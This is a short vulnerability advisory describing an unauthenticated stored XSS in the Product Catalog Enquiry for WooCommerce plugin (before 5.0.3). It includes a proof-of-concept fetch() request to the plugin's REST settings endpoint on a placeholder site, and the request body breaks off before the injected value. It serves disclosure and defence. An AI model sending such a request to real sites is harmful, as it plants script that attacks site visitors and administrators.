Product Catalog Enquiry for WooCommerce < 5.0.3 - Unauthenticated Stored XSS via Arbitrary Setting Update

Description The plugin does not properly authorize settings updates or escape settings values, leading to stored XSS by unauthenticated users.

PoC

1. Make sure the plugin is configured with the “Catalog Mode” activated. 2) Launch the following from your browser’s console: ``` fetch(“http://vulnerable-site.tld/wp-json/mvx_catalog/v1/save_enquiry”, {“headers”: {“content-type”: “application/json”,}, “body”: " {"model":{"from_loading":true,"statedrop":[],"errordisplay":"Settings Saved","complete_option_value":[],"button_type":{"value":"4","label":"No Link Just #","index":3},"is_button":["is_button"],"custom_hover_background_color":"#0}